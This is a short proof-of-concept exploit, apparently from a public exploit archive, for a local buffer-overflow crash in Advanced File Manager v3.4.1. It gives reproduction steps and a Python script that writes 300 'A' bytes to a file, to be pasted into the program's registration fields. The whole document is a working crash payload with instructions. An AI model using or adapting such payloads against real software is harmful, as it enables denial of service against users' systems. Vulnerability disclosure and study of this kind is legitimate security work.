# Exploit Title: Advanced File Manager v3.4.1 - Denial of Service (PoC)# Discovery by: Rafael Pedrero# Discovery Date: 2019-01-30# Vendor Homepage: http://www.advexsoft.com# Software Link : http://www.advexsoft.com# Tested Version: 3.4.1# Tested on: Windows XP SP3# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow# Steps to Produce the Crash:# 1.- Run af_mgr.exe# 2.- copy content af_mgr_Crash.txt or 300 "A" to clipboard (result from this python script)# 3.- Go to Help - Enter registration code and paste the result in all fields: "Person", "Organization", "E-mail" and "Enter your registration key below, please:"# 4.- Click in Register button and you will see a crash.#!/usr/bin/env python
crash = "\x41"* 300
f = open ("af_mgr_Crash.txt","w")
f.write(crash)
f.close()